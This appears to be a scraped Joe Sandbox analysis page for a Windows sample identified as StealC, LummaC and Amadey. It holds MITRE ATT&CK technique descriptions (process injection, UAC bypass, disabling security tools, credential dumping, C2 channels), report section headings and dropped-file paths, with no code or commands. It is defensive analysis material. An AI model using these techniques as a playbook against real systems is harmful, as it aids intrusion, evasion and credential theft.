Instruction Fuzzy Hash: ADC09B34A6D044CBC644CF87E8D9531A3FCB70720CB10303A970BF7267C560D445850D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1USEAVXFST1CCUTT4RKEBB0FQ1.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre